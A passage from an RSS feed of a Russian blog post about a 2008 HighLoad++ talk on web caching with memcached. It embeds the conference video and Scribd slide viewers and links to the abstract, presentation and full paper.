&lt;p&gt;Как эффективно использовать такое хранилище? Как исключить возможность одновременного построения “тяжелых” кешей разными мордами? Как сбросить одновременно группу кешей? Как отлаживать (собирать статистику) о кешировании? Как работает slab-аллокатор? Для чего еще может быть полезен memcached в веб-проекте? &lt;/p&gt;
&lt;h3&gt;Видео с конференции&lt;/h3&gt;
&lt;p&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="330"&gt;&lt;param name="movie" value="http://pics.smotri.com/scrubber_custom8.swf?file=v649374d232&amp;amp;bufferTime=3&amp;amp;autoStart=false&amp;amp;str_lang=rus&amp;amp;xmlsource=http%3A%2F%2Fpics.smotri.com%2Fcskins%2Fblue%2Fskin_color_black.xml&amp;amp;xmldatasource=http%3A%2F%2Fpics.smotri.com%2Fskin_ng.xml"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="bgcolor" value="#ffffff"&gt;&lt;embed src="http://pics.smotri.com/scrubber_custom8.swf?file=v649374d232&amp;amp;bufferTime=3&amp;amp;autoStart=false&amp;amp;str_lang=rus&amp;amp;xmlsource=http%3A%2F%2Fpics.smotri.com%2Fcskins%2Fblue%2Fskin_color_black.xml&amp;amp;xmldatasource=http%3A%2F%2Fpics.smotri.com%2Fskin_ng.xml" quality="high" allowscriptaccess="always" allowfullscreen="true" wmode="window" width="400" height="330" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;
&lt;h3&gt;Презентация&lt;/h3&gt;
&lt;p&gt;&lt;object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" id="doc_986704665618933" name="doc_986704665618933" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" align="middle" height="500" width="100%"&gt;       &lt;param name="movie" value="http://documents.scribd.com/ScribdViewer.swf?document_id=6442228&amp;amp;access_key=key-2gjlb75syn57xsue0rnj&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true&amp;amp;viewMode="&gt;&lt;param name="quality" value="high"&gt;&lt;param name="play" value="true"&gt;&lt;param name="loop" value="true"&gt;&lt;param name="scale" value="showall"&gt;&lt;param name="wmode" value="opaque"&gt;&lt;param name="devicefont" value="false"&gt;&lt;param name="bgcolor" value="#ffffff"&gt;&lt;param name="menu" value="true"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;param name="salign" value=""&gt;&lt;embed src="http://documents.scribd.com/ScribdViewer.swf?document_id=6442228&amp;amp;access_key=key-2gjlb75syn57xsue0rnj&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true&amp;amp;viewMode=" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="opaque" devicefont="false" bgcolor="#ffffff" name="doc_986704665618933_object" menu="true" allowfullscreen="true" allowscriptaccess="always" salign="" type="application/x-shockwave-flash" align="middle" height="500" width="100%"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;&lt;div style="font-size:10px;text-align:center;width:100%"&gt;&lt;a href="http://www.scribd.com/doc/6442228/Web-memcached"&gt;Web, кэширование и memcached&lt;/a&gt; - &lt;a href="http://www.scribd.com/upload"&gt;Upload a Document to Scribd&lt;/a&gt;&lt;/div&gt;
&lt;h3&gt;Полный текст доклада&lt;/h3&gt;
&lt;p&gt;&lt;object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" id="doc_902052781103987" name="doc_902052781103987" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" align="middle" height="500" width="700"&gt; &lt;param name="movie" value="http://documents.scribd.com/ScribdViewer.swf?document_id=7667009&amp;amp;access_key=key-1ikhiaj4iruc95lho5as&amp;amp;page=1&amp;amp;version=1&amp;amp;viewMode=list"&gt;&lt;param name="quality" value="high"&gt;&lt;param name="play" value="true"&gt;&lt;param name="loop" value="true"&gt;&lt;param name="scale" value="showall"&gt;&lt;param name="wmode" value="opaque"&gt;&lt;param name="devicefont" value="false"&gt;&lt;param name="bgcolor" value="#ffffff"&gt;&lt;param name="menu" value="true"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;param name="salign" value=""&gt;&lt;param name="mode" value="list"&gt;&lt;embed src="http://documents.scribd.com/ScribdViewer.swf?document_id=7667009&amp;amp;access_key=key-1ikhiaj4iruc95lho5as&amp;amp;page=1&amp;amp;version=1&amp;amp;viewMode=list" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="opaque" devicefont="false" bgcolor="#ffffff" name="doc_902052781103987_object" menu="true" allowfullscreen="true" allowscriptaccess="always" salign="" type="application/x-shockwave-flash" align="middle" mode="list" height="500" width="700"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;&lt;div style="font-size:10px;text-align:center;width:700"&gt;&lt;a href="http://www.scribd.com/doc/7667009/Web-Caching-and-Memcached"&gt;Web Caching and Memcached&lt;/a&gt; - &lt;a href="http://www.scribd.com/upload"&gt;Upload a Document to Scribd&lt;/a&gt;&lt;/div&gt; 
&lt;h3&gt;Материалы&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Тезисы (&lt;a href="http://www.smira.ru/wp-content/uploads/2008/10/abstract.rtf"&gt;RTF&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Презентация (&lt;a href="http://www.smira.ru/wp-content/uploads/2008/10/dhndhudhdhudhndhndhny-dhdh-highload-2008.ppt"&gt;PowerPoint&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Полный текст доклада (&lt;a href="http://www.smira.ru/wp-content/uploads/2008/10/web-caching-and-memcached.pdf"&gt;PDF&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;</description><guid>http://www.smira.ru/en/posts/20081008highload-plus-plus-2008.html</guid><pubDate>Wed, 08 Oct 2008 04:21:11 GMT</pubDate></item></channel></rss>